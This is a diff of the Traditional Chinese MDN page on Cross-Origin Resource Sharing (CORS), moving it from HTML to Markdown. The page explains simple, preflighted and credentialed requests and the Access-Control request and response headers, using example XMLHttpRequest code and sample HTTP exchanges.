基於安全性考量,程式碼所發出的跨來源 HTTP 請求會受到限制。例如,{{domxref("XMLHttpRequest")}} 及 {{domxref("Fetch_API", "Fetch")}} 都遵守同源政策(same-origin policy)。這代表網路應用程式所使用的 API 除非使用 CORS 標頭,否則只能請求與應用程式相同網域的 HTTP 資源。

- -

- -

跨來源資源共用(Cross-Origin Resource Sharing,簡稱 {{Glossary("CORS")}})機制提供了網頁伺服器跨網域的存取控制,增加跨網域資料傳輸的安全性。現代瀏覽器支援在 API 容器(如 {{domxref("XMLHttpRequest")}} 或 {{domxref("Fetch_API", "Fetch")}})中使用 CORS 以降低跨來源 HTTP 請求的風險。

- -

誰應該閱讀這篇文章?

- -

認真講,所有人。

- -

進一步來說,本文內容主要和網站管理員、伺服器端開發者和前端網頁開發者有關。現代瀏覽器會處理客戶端的跨來源共用元件,包括標頭和政策施定。關於伺服器部分請參閱跨來源共用:從伺服器觀點出發(以 PHP 為範例)的補充說明。

- -

哪些請求會使用 CORS?

- -

跨來源資源共用標準可用來開啟以下跨站 HTTP 請求:

- - - -

本文主要討論跨來源資源共用與相關必要的 HTTP 標頭。

- -

功能總覽

- -

跨來源資源共用標準的運作方式是藉由加入新的 HTTP 標頭讓伺服器能夠描述來源資訊以提供予瀏覽器讀取。另外,針對會造成副作用的 HTTP 請求方法(特別是 {{HTTPMethod("GET")}} 以外的 HTTP 方法,或搭配某些 MIME types 的 {{HTTPMethod("POST")}} 方法),規範要求瀏覽器必須要請求傳送「預檢(preflight)」請求,以 HTTP 的 {{HTTPMethod("OPTIONS")}} 方法之請求從伺服器取得其支援的方法。當伺服器許可後,再傳送 HTTP 請求方法送出實際的請求。伺服器也可以通知客戶端是否要連同安全性資料(包括 Cookies 和 HTTP 認證(Authentication)資料)一併隨請求送出。

- -

之後的小節,我們將討論使用情境和相關的 HTTP 標頭。

- -

存取控制情境範例

- -

我們將在此展示三種情境,來說明跨來源資源共用如何運作。所有的範例都使用 {{domxref("XMLHttpRequest")}} 物件,XMLHttpRequest 可以讓任何支援的瀏覽器進行跨站請求。

- -

本節的 JavaScript 程式碼片段(以及處理跨站請求的伺服器端程式運作實體)可以在 http://arunranga.com/examples/access-control/ 看到,並可以運行在支援跨站 {{domxref("XMLHttpRequest")}} 請求的瀏覽器上。

- -

對於伺服器端的跨來源資源共用討論(包含 PHP 範例)可參考伺服器端存取控制

- -

簡單請求

- -

部分請求不會觸發 CORS 預檢。這類請求在本文中被稱作「簡單請求(simple requests)」,雖然 Fetch 規範(其定義了 CORS)中並不使用這個述語。一個不觸發 CORS 預檢的請求——所謂的「簡單請求(simple requests)」——其滿足以下所有條件:

- - - -
備註:雖然這些都是網頁目前已經可以送出的跨站請求,但除非伺服器回傳適當標頭,否則不會有資料回傳,因此不允許跨站請求的網站無須擔心會受到新的 HTTP 存取控制影響。
- -
備註:WebKit Nightly 與 Safari Technology Preview 對 {{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language")}} 及 {{HTTPHeader("Content-Language")}} 標頭值加入了額外的限制。假如這三個標頭中有任一個擁有「非標準」值,WebKit/Safari 就不會將該請求視為「簡單請求」。WebKit/Safari 並沒有於文件中定義何者為「非標準」值,只有在以下 WebKit bugs 中討論:Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-LanguageAllow commas in Accept, Accept-Language, and Content-Language request headers for simple CORSSwitch to a blacklist model for restricted Accept headers in simple CORS requests。其它的瀏覽器沒有實作這些額外的限制,因為這並不是規範中的一部分。
- -

例如,假設 http://foo.example 網域上的網頁內容想要呼叫 http://bar.other 網域內的內容,以下程式碼可能會在 foo.example 上執行:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/public-data/';
-
-function callOtherDomain() {
-  if(invocation) {
-    invocation.open('GET', url, true);
-    invocation.onreadystatechange = handler;
-    invocation.send();
-  }
-}
-
- -

這將會在客戶端與伺服器端之間發起一個簡單的資料交換,並使用 CORS 相關標頭來處理權限:

- -

- -

我們來看看這個例子中瀏覽器將會送出什麼到伺服器,而伺服器又會如何回應:

- -
GET /resources/public-data/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
-Origin: http://foo.example
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 00:23:53 GMT
-Server: Apache/2.0.61
-Access-Control-Allow-Origin: *
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Transfer-Encoding: chunked
-Content-Type: application/xml
-
-[XML Data]
-
- -

第 1 - 10 行是送出的標頭。第 10 行之主要 HTTP 請求標頭中的 {{HTTPHeader("Origin")}} 標頭,它標示出請求是來自 http://foo.example 網域上的內容。

- -

第 13 - 22 行是 http://bar.other 網域伺服器回傳的 HTTP 回應。第 16 行伺服器回傳了一個 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭,從 {{HTTPHeader("Origin")}} 標頭與 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭中可以看到存取控制協定最簡單的用途。這個例子中,伺服器回傳 Access-Control-Allow-Origin: * 表示允許任何網域跨站存取資源,倘若 http://bar.other 的資源擁有者只准許來自 http://foo.example 的存取資源請求,那麼將會回傳:

- -

Access-Control-Allow-Origin: http://foo.example

- -

如此一來,來源並非 http://foo.example 網域(由第 10 行請求標頭中的 ORIGIN 標頭確認)便無法以跨站的方式存取資源。Access-Control-Allow-Origin 標頭必須包含請求當中的 Origin 標頭值。

- -

預檢請求

- -

不同於上面討論「簡單請求」的例子,「預檢(preflighted)」請求會先以 HTTP 的 OPTIONS 方法送出請求到另一個網域,確認後續實際(actual)請求是否可安全送出,由於跨站請求可能會攜帶使用者資料,所以要先進行預檢請求。

- -

準確來說,如果滿足以下任一項條件時會發出預檢請求:

- -
    -
  • 假如請求方法為以下其中之一: - -
      -
    • {{HTTPMethod("PUT")}}
    • -
    • {{HTTPMethod("DELETE")}}
    • -
    • {{HTTPMethod("CONNECT")}}
    • -
    • {{HTTPMethod("OPTIONS")}}
    • -
    • {{HTTPMethod("TRACE")}}
    • -
    • {{HTTPMethod("PATCH")}}
    • -
    -
  • -
  • 或是假如除了 user agent 自動設定的標頭(例如 {{HTTPHeader("Connection")}}、{{HTTPHeader("User-Agent")}},或是任何請求規範[Fetch spec]中定義的「禁止使用的標頭名稱[forbidden header name]」中的標頭)之外,請求中包含了任何除了這些於請求規格(Fetch spec)中定義為「CORS 安全列表請求標頭(CORS-safelisted request-header)」以外的標頭,具體如下: -
      -
    • {{HTTPHeader("Accept")}}
    • -
    • {{HTTPHeader("Accept-Language")}}
    • -
    • {{HTTPHeader("Content-Language")}}
    • -
    • {{HTTPHeader("Content-Type")}}(但請注意下方的額外要求)
    • -
    • {{HTTPHeader("Last-Event-ID")}}
    • -
    • DPR
    • -
    • Save-Data
    • -
    • Viewport-Width
    • -
    • Width
    • -
    -
  • -
  • 或是假如 {{HTTPHeader("Content-Type")}} 標頭有除了下方所列出以外的值: -
      -
    • application/x-www-form-urlencoded
    • -
    • multipart/form-data
    • -
    • text/plain
    • -
    -
  • -
  • 或是假如一或多個事件監聽器被註冊到一個用來發出請求的 {{domxref("XMLHttpRequestUpload")}} 物件上。
  • -
  • 或是假如請求中有一個 {{domxref("ReadableStream")}} 物件被於上傳。
  • -
- -
備註:WebKit Nightly 與 Safari Technology Preview 對 {{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language")}} 及 {{HTTPHeader("Content-Language")}} 標頭值加入了額外的限制。假如這三個標頭中有任一個擁有「非標準」值,WebKit/Safari 便會傳送預檢請求。WebKit/Safari 並沒有於文件中定義何者為「非標準」值,只有在以下 WebKit bugs 中討論:Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-LanguageAllow commas in Accept, Accept-Language, and Content-Language request headers for simple CORSSwitch to a blacklist model for restricted Accept headers in simple CORS requests。其它的瀏覽器沒有實作這些額外的限制,因為這並不是規範中的一部分。
- -

下面是一段會引起預檢請求的範例:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/post-here/';
-var body = '<?xml version="1.0"?><person><name>Arun</name></person>';
-
-function callOtherDomain(){
-  if(invocation)
-    {
-      invocation.open('POST', url, true);
-      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
-      invocation.setRequestHeader('Content-Type', 'application/xml');
-      invocation.onreadystatechange = handler;
-      invocation.send(body);
-    }
-}
-
-......
-
- -

在這個例子中,第 3 行建立了一段 XML 內容資料並於第 8 行使用 POST 請求送出。而在第 9 行,設定了一個自定義的(非標準)之 HTTP 請求標頭(X-PINGOTHER: pingpong)。此標頭並非 HTTP/1.1 通訊協定的一部分,但廣泛的使用於 Web 應用程式。而因為請求的 Content-type 為 application/xml,且設定了自定義標頭,故此請求為預檢請求。

- -

- -

我們來看看客戶端與伺服器端之間完整的交換資訊。第一次的交換為預檢請求/回應

- -
OPTIONS /resources/post-here/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Origin: http://foo.example
-Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:39 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 0
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
-
- -

一旦預檢請求完成,真正的請求才會被送出:

- -
POST /resources/post-here/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-X-PINGOTHER: pingpong
-Content-Type: text/xml; charset=UTF-8
-Referer: http://foo.example/examples/preflightInvocation.html
-Content-Length: 55
-Origin: http://foo.example
-Pragma: no-cache
-Cache-Control: no-cache
-
-<?xml version="1.0"?><person><name>Arun</name></person>
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:15:40 GMT
-Server: Apache/2.0.61 (Unix)
-Access-Control-Allow-Origin: http://foo.example
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 235
-Keep-Alive: timeout=2, max=99
-Connection: Keep-Alive
-Content-Type: text/plain
-
-[Some GZIP'd payload]
-
- -

第 1 - 12 行屬於 {{HTTPMethod("OPTIONS")}} 方法的預檢請求,瀏覽器依據前面的 JavaScript 程式碼決定送出預檢請求,好讓伺服器回應是否允許後續送出實際(actual)請求。OPTIONS 是一個 HTTP/1.1 方法,這個方法用來確認來自伺服器進一步的資訊,重複執行不會造成任何影響,為一{{Glossary("safe", "安全")}}方法,不會造成資源更動。除了 OPTIONS 方法,有另外兩個送出的請求標頭(分別在第 10 及 11 行):

- -
Access-Control-Request-Method: POST
-Access-Control-Request-Headers: X-PINGOTHER, Content-Type
-
- -

{{HTTPHeader("Access-Control-Request-Method")}} 標頭會告訴伺服器之後送出的實際(actual)請求會是 POST 方法。{{HTTPHeader("Access-Control-Request-Headers")}} 標頭則是通知伺服器實際(actual)請求會帶有一個自定義的 X-PINGOTHER 標頭。在這些資訊下,接著伺服器將會確定是否接受請求。

- -

第 14 - 26 行屬於伺服器的回應,它說明了伺服器接受 POST 請求方法和 X-PINGOTHER 標頭。另外讓我們特別來看看 17 - 20 行:

- -
Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Methods: POST, GET, OPTIONS
-Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
-Access-Control-Max-Age: 86400
- -

伺服器回應中的 Access-Control-Allow-Methods 標頭表示伺服器可以接受 POSTGETOPTIONS 方法。請注意此標頭和 {{HTTPHeader("Allow")}} 十分相似,但它只在存取控制範圍下才有意義。

- -

伺服器也回傳了 Access-Control-Allow-Headers 標頭及其值「X-PINGOTHER, Content-Type」,表示伺服器允許在實際(actual)請求中使用以上這兩個標頭。與 Access-Control-Allow-Methods 相同,Access-Control-Allow-Headers 也是用逗號分隔可接受的標頭名稱。

- -

最後,{{HTTPHeader("Access-Control-Max-Age")}} 提供了本次預檢請求回應所可以快取的秒數。在此範例中,86400 秒即為 24 小時。請留意每一個瀏覽器都有預設的最大值,當 Access-Control-Max-Age 較預設值大時會優先採用預設值。

- -

預檢請求和重新導向

- -

目前大多瀏覽器不支援預檢請求時的重新導向,如果預檢請求進行中發生重新導向,目前大多的瀏覽器會回報類似以下的錯誤訊息。

- -
-

The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight

-
- -
-

Request requires preflight, which is disallowed to follow cross-origin redirect

-
- -

CORS 通訊協定最初要求此預檢請求重新導向的行為,但在隨後的修訂中即改為不要求使用。然而,大多數的瀏覽器尚未實作此變動,且仍舊依照原本的行為要求。

- -

因此直到瀏覽器趕上規範之前,你可以使用下列一或兩種方法來解決這個限制:

- -
    -
  • 變更伺服器端的行為以避免預檢以及/或是避免重新導向——假如你對被請求的伺服擁有控制權
  • -
  • 變更請求為簡單請求,讓預檢不會發生
  • -
- -

但若難以實施以上方法,仍有其他可行的方式:

- -
    -
  1. 建立一個簡單請求來測定(使用 Fetch API 的 Response.urlXHR.responseURL 來測定預檢請求最終真正導向的 URL)。
  2. -
  3. 建立另一個請求(「真正的」請求)傳送至第一步自 Response.urlXHR.responseURL 所獲得的 URL。
  4. -
- -

然而,假如請求是由於存在 Authorization 標頭而觸發預檢,便無法利用以上的步驟來解除限制。並且直到你對被請求的伺服擁有控制權前,沒有其他方式能夠解決。

- -

附帶身分驗證的請求

- -

{{domxref("XMLHttpRequest")}} 或 Fetch 在 CORS 中最有趣的功能為傳送基於 HTTP cookies 和 HTTP 認證(Authentication)資訊的「身分驗證(credentialed)」請求。預設情況下,在跨站 {{domxref("XMLHttpRequest")}} 或 Fetch 呼叫時,瀏覽器不會送出身分驗證。必須要於 {{domxref("XMLHttpRequest")}} 物件中或是在呼叫 {{domxref("Request")}} 建構式時設置一個特定的旗標。

- -

在這個範例中,一個來自 http://foo.example 的內容發出了一個簡單的 GET 去請求一個 http://bar.other 的資源,且該站會設定 Cookies。foo.example 的內容可能包含類似的 JavaScript:

- -
var invocation = new XMLHttpRequest();
-var url = 'http://bar.other/resources/credentialed-content/';
-
-function callOtherDomain(){
-  if(invocation) {
-    invocation.open('GET', url, true);
-    invocation.withCredentials = true;
-    invocation.onreadystatechange = handler;
-    invocation.send();
-  }
-}
- -

第 7 行秀出了一個於 {{domxref("XMLHttpRequest")}} 中為了要搭配 Cookies 進行呼叫而必須設置的布林值旗標——withCredentials。在預設情況下,請求呼叫是不會有 Cookies 的。由於這是一個簡單 GET 請求,並不會進行預檢,但瀏覽器將會拒絕任何沒有 {{HTTPHeader("Access-Control-Allow-Credentials")}}: true 標頭值的回應,並且不讓呼叫的網站內容存取該回應。

- -

- -

下面是一個簡單的客戶端與伺服器端之間的交換資訊:

- -
GET /resources/access-control-with-credentials/ HTTP/1.1
-Host: bar.other
-User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
-Accept-Language: en-us,en;q=0.5
-Accept-Encoding: gzip,deflate
-Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
-Connection: keep-alive
-Referer: http://foo.example/examples/credential.html
-Origin: http://foo.example
-Cookie: pageAccess=2
-
-
-HTTP/1.1 200 OK
-Date: Mon, 01 Dec 2008 01:34:52 GMT
-Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
-X-Powered-By: PHP/5.2.6
-Access-Control-Allow-Origin: http://foo.example
-Access-Control-Allow-Credentials: true
-Cache-Control: no-cache
-Pragma: no-cache
-Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
-Vary: Accept-Encoding, Origin
-Content-Encoding: gzip
-Content-Length: 106
-Keep-Alive: timeout=2, max=100
-Connection: Keep-Alive
-Content-Type: text/plain
-
-
-[text/plain payload]
-
- -

雖然第 11 行包含了預定要給予 http://bar.other 來取得資源內容的 Cookie,但假如 bar.other 沒有於回應中帶有 {{HTTPHeader("Access-Control-Allow-Credentials")}}: true 標頭值(第 19 行),則回應將會被乎略且不提供給網站內容使用。

- -

身分驗證請求與萬用字元

- -

在回應一個身分驗證請求時,伺服器必須Access-Control-Allow-Origin 標頭值中指定一個來源,而不是使用「*」萬用字元(wildcard)。

- -

上方範例的請求標頭中包含了一個 Cookie 標頭,若 Access-Control-Allow-Origin 標頭為「*」,則請求將會失敗。範例中的 Access-Control-Allow-Origin 標頭值為「http://foo.example」(一個實際的來源)而不是「*」萬用字元,所以身分驗證證明內容被回傳予呼叫的網站內容中。

- -

請注意上面範例中的 Set-Cookie 回應標頭也設定了另一個 cookie。萬一失敗,會拋出一個錯誤(取決於所使用的 API)。

- -

第三方 cookies

- -

請注意,在 CORS 回應中設定的 cookies 受制於一般的第三方 cookie 政策。在上面的範例中,頁面載入自 foo.example,但第 22 行的 cookie 為 bar.other 所傳送,因此如果使用者將其瀏覽器設定為拒絕所有第三方 cookies,則 cookies 不會被保存。

- -

HTTP 回應標頭

- -

這個小節列出了伺服器回傳予取存控制請求之由跨來源資源共用規範所定義的 HTTP 回應標頭。上一節已提供了這些行為的概述。

- -

Access-Control-Allow-Origin

- -

一個回應的資源可能擁有一個 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭,如以下的語法:

- -
Access-Control-Allow-Origin: <origin> | *
-
- -

origin 參數指定了一個可以存取資源的 URI。瀏覽器必定會執行此檢查。對一個不帶有身分驗證的請求,伺服器可以指定一個「*」作為萬用字元(wildcard),從而允許任何來源存取資源。

- -

舉例來說,要允許 http://mozilla.org 存取資源,你可以指定:

- -
Access-Control-Allow-Origin: http://mozilla.org
- -

如果伺服器指定了一個來源主機而不是「*」,那也可能於不同回應的標頭中包含不同之來源,來向客戶端表示伺服器的回應會因請求標頭之 Origin 值而有所不同。

- -

Access-Control-Expose-Headers

- -

{{HTTPHeader("Access-Control-Expose-Headers")}} 標頭表示伺服器允許瀏覽器存取回應標頭的白名單,如:

- -
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
-
- -

這允許了瀏覽器能夠存取回應當中的 X-My-Custom-Header 以及 X-Another-Custom-Header 標頭。

- -

Access-Control-Max-Age

- -

{{HTTPHeader("Access-Control-Max-Age")}} 標頭表示了預檢請求的結果可以被快取多長的時間,請參考上面的範例。

- -
Access-Control-Max-Age: <delta-seconds>
-
- -

delta-seconds 參數代表預檢請求之結果可以被快取的秒數。

- -

Access-Control-Allow-Credentials

- -

{{HTTPHeader("Access-Control-Allow-Credentials")}} 標頭表示了當請求的 credentials 旗標為真時,是否要回應該請求。當用在預檢請求的回應中,那就是指示後續的實際請求可否附帶身分驗證。請注意,由於簡單的 GET 請求沒有預檢,所以如果一個簡單請求帶有身分驗證,同時假設此標頭沒有與資源一併回傳,則回應會被瀏覽器所忽略並且不會回傳予呼叫的網站內容。

- -
Access-Control-Allow-Credentials: true
-
- -

驗證請求在上面的討論當中。

- -

Access-Control-Allow-Methods

- -

{{HTTPHeader("Access-Control-Allow-Methods")}} 標頭表示存取資源所允許的方法,用來回應預檢請求。上面已討論請求之預檢的條件。

- -
Access-Control-Allow-Methods: <method>[, <method>]*
-
- -

一個預檢請求的範例已在上面提供,其中包含了一個回傳此標頭予瀏覽器的例子。

- -

Access-Control-Allow-Headers

- -

{{HTTPHeader("Access-Control-Allow-Headers")}} 標頭用在回傳予預檢請求的回應當中,以指定哪些 HTTP 標頭可以於實際請求中使用。

- -
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
-
- -

HTTP 請求標頭

- -

這個小節列出了當客戶端為了跨來源資源共用而傳送 HTTP 請求時可能會使用到的標頭。請注意這些標頭為對伺服器呼叫時手動設定,開發者使用跨站 {{domxref("XMLHttpRequest")}} 時則不須於程式中設定任何的跨來源資源共用請求標頭。

- -

Origin

- -

{{HTTPHeader("Origin")}} 標頭表示了跨站存取請求或預檢請求的來源。

- -
Origin: <origin>
-
- -

其值為一個告訴目標伺服器之請求傳送來源的 URI。並不含有任何路徑資訊,僅有伺服器名稱。

- -
備註:origin 標頭可設定為空字串;這對不是真實位置的情況來說相當有用,例如來源為一個 data URL 時。
- -

請注意在任何存取控制請求中,{{HTTPHeader("Origin")}} 標頭永遠都要送出。

- -

Access-Control-Request-Method

- -

{{HTTPHeader("Access-Control-Request-Method")}} 標頭用在發出的預檢請求中,告訴伺服器後續實際(actual)請求所用的 HTTP 方法。

- -
Access-Control-Request-Method: <method>
-
- -

此標頭的相關範例可參考上方說明

- -

Access-Control-Request-Headers

- -

{{HTTPHeader("Access-Control-Request-Headers")}} 標頭用在發出的預檢請求中,告訴伺服器端後續實際(actual)請求所帶的 HTTP 標頭。

- -
Access-Control-Request-Headers: <field-name>[, <field-name>]*
-
- -

此標頭的相關範例可參考上方說明

- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -

{{Compat("http.headers.Access-Control-Allow-Origin")}}

- -

相容性備註

- -
    -
  • IE8 和 IE9 支援 CORS 透過 XDomainRequest 物件,IE10 開始則完全正常支援。
  • -
  • Firefox 3.5 引進支援跨站 XMLHttpRequests 與 Web Fonts,較舊版本上某些請求會受到限制。Firefox 7 引進支援 WebGL 紋理的跨站 HTTP 請求,而 Firefox 9 新增支援使用 drawImage 方法將圖形繪製於 canvas 中。
  • -
- -

參見

- - diff --git a/files/zh-tw/web/http/cors/index.md b/files/zh-tw/web/http/cors/index.md new file mode 100644 index 00000000000000..5b5259465a7ad2 --- /dev/null +++ b/files/zh-tw/web/http/cors/index.md @@ -0,0 +1,521 @@ +--- +title: 跨來源資源共用(CORS) +slug: Web/HTTP/CORS +--- +{{HTTPSidebar}} + +跨來源資源共用(Cross-Origin Resource Sharing ({{Glossary("CORS")}}))是一種使用額外 {{Glossary("HTTP")}} 標頭令目前瀏覽網站的{{Glossary("user agent","使用者代理")}}取得存取其他來源(網域)伺服器特定資源權限的機制。當使用者代理請求一個不是目前文件來源——例如來自於不同網域(domain)、通訊協定(protocol)或通訊埠(port)的資源時,會建立一個**跨來源 HTTP 請求(cross-origin HTTP request)**。 + +舉個跨來源請求的例子:`http://domain-a.com` HTML 頁面裡面一個 [`` 標籤的 `src` 屬性](/zh-TW/docs/Web/HTML/Element/Img#Attributes)載入來自 `http://domain-b.com/image.jpg` 的圖片。現今網路上許多頁面所載入的資源,如 CSS 樣式表、圖片影像、以及指令碼(script)都來自與所在位置分離的網域,如內容傳遞網路(content delivery networks, CDN)。 + +基於安全性考量,程式碼所發出的跨來源 HTTP 請求會受到限制。例如,{{domxref("XMLHttpRequest")}} 及 {{domxref("Fetch_API", "Fetch")}} 都遵守[同源政策(same-origin policy)](/zh-TW/docs/Web/Security/Same-origin_policy)。這代表網路應用程式所使用的 API 除非使用 CORS 標頭,否則只能請求與應用程式相同網域的 HTTP 資源。 + +![](cors_principle.png) + +跨來源資源共用(Cross-Origin Resource Sharing,簡稱 {{Glossary("CORS")}})機制提供了網頁伺服器跨網域的存取控制,增加跨網域資料傳輸的安全性。現代瀏覽器支援在 API 容器(如 {{domxref("XMLHttpRequest")}} 或 {{domxref("Fetch_API", "Fetch")}})中使用 CORS 以降低跨來源 HTTP 請求的風險。 + +## 誰應該閱讀這篇文章? + +認真講,所有人。 + +進一步來說,本文內容主要和網站管理員、伺服器端開發者和前端網頁開發者有關。現代瀏覽器會處理客戶端的跨來源共用元件,包括標頭和政策施定。關於伺服器部分請參閱[跨來源](/zh-TW/docs/Web/HTTP/Server-Side_Access_Control)共用[:從伺服器觀點出發(以 PHP 為範例)](/zh-TW/docs/Web/HTTP/Server-Side_Access_Control)的補充說明。 + +## 哪些請求會使用 CORS? + +[跨來源資源](http://www.w3.org/TR/cors/)共用[標準](http://www.w3.org/TR/cors/)可用來開啟以下跨站 HTTP 請求: + +- 使用 `XMLHttpRequest` 或 `Fetch API` 進行跨站請求,如前所述。 +- 網頁字體(跨網域 CSS 的 `@font-face` 的字體用途),[所以伺服器可以佈署 TrueType 字體,並限制只讓信任的網站跨站載入](http://www.webfonts.info/wiki/index.php?title=%40font-face_support_in_Firefox)。 +- [WebGL 紋理](/zh-TW/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL)。 +- 以 [`drawImage`](/zh-TW/docs/Web/API/CanvasRenderingContext2D/drawImage) 繪製到 Canvas 畫布上的圖形/影片之影格。 +- CSS 樣式表(讓 [CSSOM](/zh-TW/docs/Web/CSS/CSSOM_View) 存取)。 +- 指令碼(for unmuted exceptions)。 + +本文主要討論跨來源資源共用與相關必要的 HTTP 標頭。 + +## 功能總覽 + +跨來源資源共用標準的運作方式是藉由加入新的 [HTTP 標頭](/zh-TW/docs/Web/HTTP/Headers)讓伺服器能夠描述來源資訊以提供予瀏覽器讀取。另外,針對會造成副作用的 HTTP 請求方法(特別是 {{HTTPMethod("GET")}} 以外的 HTTP 方法,或搭配某些 [MIME types](/zh-TW/docs/Web/HTTP/Basics_of_HTTP/MIME_types) 的 {{HTTPMethod("POST")}} 方法),規範要求瀏覽器必須要請求傳送「預檢(preflight)」請求,以 HTTP 的 {{HTTPMethod("OPTIONS")}} 方法之請求從伺服器取得其支援的方法。當伺服器許可後,再傳送 HTTP 請求方法送出實際的請求。伺服器也可以通知客戶端是否要連同安全性資料(包括 [Cookies](/zh-TW/docs/Web/HTTP/Cookies) 和 HTTP 認證(Authentication)資料)一併隨請求送出。 + +之後的小節,我們將討論使用情境和相關的 HTTP 標頭。 + +## 存取控制情境範例 + +我們將在此展示三種情境,來說明跨來源資源共用如何運作。所有的範例都使用 {{domxref("XMLHttpRequest")}} 物件,`XMLHttpRequest` 可以讓任何支援的瀏覽器進行跨站請求。 + +本節的 JavaScript 程式碼片段(以及處理跨站請求的伺服器端程式運作實體)可以在 看到,並可以運行在支援跨站 {{domxref("XMLHttpRequest")}} 請求的瀏覽器上。 + +對於伺服器端的跨來源資源共用討論(包含 PHP 範例)可參考[伺服器端存取控制](/zh-TW/docs/Web/HTTP/Server-Side_Access_Control)。 + +### 簡單請求 + +部分請求不會觸發 [CORS 預檢](#Preflighted_requests)。這類請求在本文中被稱作「簡單請求(simple requests)」,雖然 [Fetch](https://fetch.spec.whatwg.org/) 規範(其定義了 CORS)中並不使用這個述語。一個不觸發 [CORS 預檢](#Preflighted_requests)的請求——所謂的「簡單請求(simple requests)」——其滿足以下所有條件: + +- 僅允許下列 HTTP 方法: + + - {{HTTPMethod("GET")}} + - {{HTTPMethod("HEAD")}} + - {{HTTPMethod("POST")}} + +- 除了 user agent 自動設定的標頭(例如 {{HTTPHeader("Connection")}}、{{HTTPHeader("User-Agent")}},或是[任何請求規範[Fetch spec]中定義的「禁止使用的標頭名稱[forbidden header name]」](https://fetch.spec.whatwg.org/#forbidden-header-name)中的標頭)之外,僅可手動設定[這些於請求規格(Fetch spec)中定義為「CORS 安全列表請求標頭(CORS-safelisted request-header)」](https://fetch.spec.whatwg.org/#cors-safelisted-request-header)的標頭,它們為: + + - {{HTTPHeader("Accept")}} + - {{HTTPHeader("Accept-Language")}} + - {{HTTPHeader("Content-Language")}} + - {{HTTPHeader("Content-Type")}}(但請注意下方的額外要求) + - {{HTTPHeader("Last-Event-ID")}} + - [`DPR`](http://httpwg.org/http-extensions/client-hints.html#dpr) + - [`Save-Data`](http://httpwg.org/http-extensions/client-hints.html#save-data) + - [`Viewport-Width`](http://httpwg.org/http-extensions/client-hints.html#viewport-width) + - [`Width`](http://httpwg.org/http-extensions/client-hints.html#width) + +- 僅允許以下 {{HTTPHeader("Content-Type")}} 標頭值: + + - `application/x-www-form-urlencoded` + - `multipart/form-data` + - `text/plain` + +- 沒有事件監聽器被註冊到任何用來發出請求的 {{domxref("XMLHttpRequestUpload")}} 物件(經由 {{domxref("XMLHttpRequest.upload")}} 屬性取得)上。 +- 請求中沒有 {{domxref("ReadableStream")}} 物件被用於上傳。 + +> **備註:** 雖然這些都是網頁目前已經可以送出的跨站請求,但除非伺服器回傳適當標頭,否則不會有資料回傳,因此不允許跨站請求的網站無須擔心會受到新的 HTTP 存取控制影響。 + +> **備註:** WebKit Nightly 與 Safari Technology Preview 對 {{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language")}} 及 {{HTTPHeader("Content-Language")}} 